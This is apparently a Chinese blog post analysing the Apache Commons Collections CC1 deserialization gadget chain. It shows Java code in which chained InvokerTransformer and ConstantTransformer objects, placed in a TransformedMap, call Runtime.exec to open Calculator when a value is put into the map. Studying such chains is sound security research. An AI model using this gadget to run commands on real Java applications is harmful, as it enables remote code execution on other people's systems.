CC1调用链
代码执行的关键点
InvokerTransformer.java
transform(Object input)
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
主要靠transform方法用反射的方式执行命令
input对象可控,iArgs也可控
public void test1() {
Transformer[] transformers = {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap();
Map outerMap = TransformedMap.decorate(hashMap, chainedTransformer, chainedTransformer);
outerMap.put("name", "AurOra");
}
需要借助TransforedMap类重写的put方法
这里重写的put方法接收两个参数,分别调用tranformKey和transforValue函数
跟进这两个函数
valueTransformer这个变量只能被赋值一次,而在decorate方法中初始化构造器的时候给它赋了值
所以它不为null,它的值为InvokerTransformer
ValueTransformer调用transfom方法即为调用InvokerTransformer的transfom
标签:InvokerTransformer,调用,Java,Commons,Collections,new,put,input,chainedTransformer From: https://www.cnblogs.com/pr1s0n/p/17577841.html